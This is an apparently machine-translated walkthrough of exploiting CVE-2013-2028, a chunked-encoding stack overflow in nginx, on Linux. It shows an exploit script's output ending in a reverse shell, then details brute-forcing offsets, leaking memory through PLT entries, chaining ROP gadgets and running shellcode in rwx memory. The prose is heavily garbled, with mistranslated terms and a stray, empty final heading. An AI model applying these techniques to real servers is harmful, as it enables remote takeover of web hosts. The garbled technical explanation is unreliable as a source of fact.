In May 2013 nginx in your mailing list released information about a new CVE vulnerability and tips to enhance security. The vulnerability was discovered by Greg McManus, an expert iSIGHT Partners Labs.
CVE-2013-2028 is determined as follows:
Ngx_http_parse_chunked function in http / ngx_http_parse.c in versions 1.3.9 to 1.4.0 allows an attacker to remotely cause a denial of service (DoS) services, and execute arbitrary code via a shared Transfer-Encoding request with a larger segment that is causing the error sign integers and a stack overflow.
The latest versions of nginx http server using standard HTTP 1.1, called chunked transfer encoding transmission. Older versions of nginx does not support block transfers in HTTP requests. To use it, you must install a third-party module, or a patch. It is this module or patch contains the above error number sign and a stack overflow.
In this article, we discuss how to exploit this vulnerability on Linux in general, and for brute force attacks, in particular.
Exploit works provided that the memory address in the address space Linux platforms occurs randomly and only the address of the image process is not random and is always available at a fixed address.
It will build on the work of the exploit access to the process image of the fixed address. The first step is to write an exploit for a Linux platform to identify all the addresses needed to build a ROP chain and run shellcode. As a rule, all the addresses hard-coded ekploita. There are ways to minimize the number of hard-coded addresses, they do exploit less tied to a particular operating system (no need to prescribe offsets for each individual platform). Almost all of the displacement can be obtained by brute force’a. The obvious disadvantage of this method is its visibility.
The result of the nginx remote exploit:
perl ngxunlock.pl 192.168.27.146 80 192.168.27.146 443
Remote Testing if httpd is vulnerable SEGV%%
Finding align Distance (Estimate)
5250 Testing align SEGV%%
% Testing 5182 align SEGV%
Finding align Distance (Estimate)
Testing 5250 align SEGV%%
5182 Testing align SEGV%%
Finding write Offset, Determining Exact align
Testing 0x08049c50, 5184 Survived align%%
Extracting memory \
BIN Search Done, Read 20480 bytes
Exact align found 5184
Finding Exact Library Addresses
Trying PLT 0x08049a32, Got 0x080bc1a4 , function 0xb76f4a80% FOUND Exact ioctl 0x08049a30%
Trying PLT 0x08049ce2, Got 0x080bc250, function 0xb773e890% FOUND Exact memset 0x08049ce0
% Trying PLT 0x08049d52, Got 0x080bc26c, function 0xb76f8d40% FOUND Exact mmap64
Found Library offsets, Determining mnemonics
Trying 0x0804ed2d% Survived%
Exact large RET 0x0804a7eb Pop
Pop Exact x3 RET 0x0804a7ee
BIN Search Done |
See Reverse handler for Success
listening on [any] .. 443
. 192.168.27.146: inverse Host Lookup failed: Unknown Host
Connect to [192.168.27.146] from (UNKNOWN) [192.168.27.146] 34778
Linux localhost 3.2.0-4-686-pae # 1 SMP Debian 3.2 .46-1 i686 GNU / Linux
uid = 65534 (nobody) gid = 65534 (nogroup) groups = 65534 (nogroup)
cat / etc / debian_version
Exploit finds bias using brute force attacks and runs back shell by running the shellcode in memory space nginx.
A more detailed analysis of the results of the exploit shows that received multiple displacements.
- The alignment value
is the value, in fact, is the offset in the buffer to exploit rewritten EIP.
example, the buffer may look like. For example, if we send 5000 characters of the letter “A” on nginx httpd (in an encoded block by block request), http server will operate without interruption. If we send so many characters that the EIP or bytes of control, reaching to the EIP, to be overwritten, http server emergency stop. That way we can determine how close we are getting to the EIP. first exploit to increase by about 100 counter and check every alignment, starting with the smallest, which is not exactly stop the server. If the server goes down, the exploit will automatically reduce the count to determine the exact offset at which it happened. process is run twice to confirm the correctness of the obtained value of alignment, because the possibility exists that the server is heavily loaded, and the value found is not true.
- Plt entry offset
In order to make a memory leak when connecting to nginx http server, we need to know the offset at which to record. In the future, the memory of the process used for the rapid production of other biases. Unfortunately, there is no way to find these offsets without the use of prior and subsequent brute force’a with increasing counter to 4 (4 total bytes on x86). The exploit uses a fixed initial displacement, found empirically on various platforms. This is the only offset a hard-coded exploit, and it is close to the entry point to the process table Linux. It is easy to determine whether the obtained displacement. Sends a query options, including the output file descriptor connect nginx and a large number, a syscall function write. nginx or emergency stop or answer the query data from the memory of the process. Since the length of the process’s memory will always be more than, say, 300 bytes, you can determine whether the write offset correct.
previously defined alignment is approximate, because the emergency stop nginx already overwriting control bytes that come before EIP. The exact value is set by brute force’e. For each test the offset value is checked, the average values ??of seven alignment. Proper alignment value reaches EIP and accordingly correct offset plt recording.
- The correct entry point for PLT mmap64, ioctl and memset
to perform the shellcode needs to know mmap64 and memset. Mmap64 needs to project operations in the process of nginx. Memset is used to copy and execute shellcode mapped into process memory. Loctl need to lock the socket to another write request to use much more memory than non-blocking connection by default. Viewing memory will find a place for the shellcode and ROP gadgets.
plt Each entry in the table (they are library functions used by the user process) has instructions jmp, pointing to the GOT. With the parsing table to determine each plt. The string «\ xff \ x25» defines the current record. After each compile nginx change the image of the process and plt offset in the table. The main reason for this is the use of different arguments at compile time, which leads to a completely different one from the other order pls shifts in the compiled file.In order to understand what the offset is mmap64, ioctl and memset we use the following method:
- In memory of the process determines the beginning pls write with byte «\ xff \ x25»
- Read the memory after the «\ xff \ x25» («\ xff \ x25» points to a table GOT plt)
- The result obtained using a read pointer to a function in the library.
- Read the 500 bytes of the functions from the DLL.
- Compare the initial bytes of the functions of a real library is hard-coded byte stream of our function. To search for a byte stream, you can use a debugger.
- If exploit code coincides with the beginning of the library function, we can be sure that the resulting pls record is the one that we need.
After the search of all pls records, provided that they coincide with the real functions, we can continue to work on themselves exploit.
- pop instructions (ROP gadgets)
Now we have a bias ioctl plt, so we can set the lock socket nginx and read his memory. We need to do two syscall’a, the first – ioctl, the second – write, so you need to follow the instructions «pop pop pop ret» (ioctl takes 3 arguments). The initial ROP instructions will be found by brute force’a. Exploit buffer is as follows:
We use the same approach as when searching offset write pls. Or nginx httpd process aborted or answer a large sequence of process memory. Once we find enough memory to use regular expressions to parse to the presence of ROP gadgets.
- Sending buffer exploit
Now we have all the necessary shift and we can download the exploit buffer, which will run the code.
Request from the exploit is as follows:
- Instructs nginx httpd to use the memory with full rights — rwx at offset 0x10000000.
- Instructs nginx httpd using memset to set the start address of the shellcode copy, equal to 0x10000000.
read system call can not be used to read the shellcode located in a new area of memory, http connection. The reason is that with nginx can not read plt, and the manner and cause the function.
- Initializes the copy function with the shellcode at ESP, next to it (for example, 0x10000500), then move to the shellcode will execute sheelkod and get back shell.
- Plt entry offset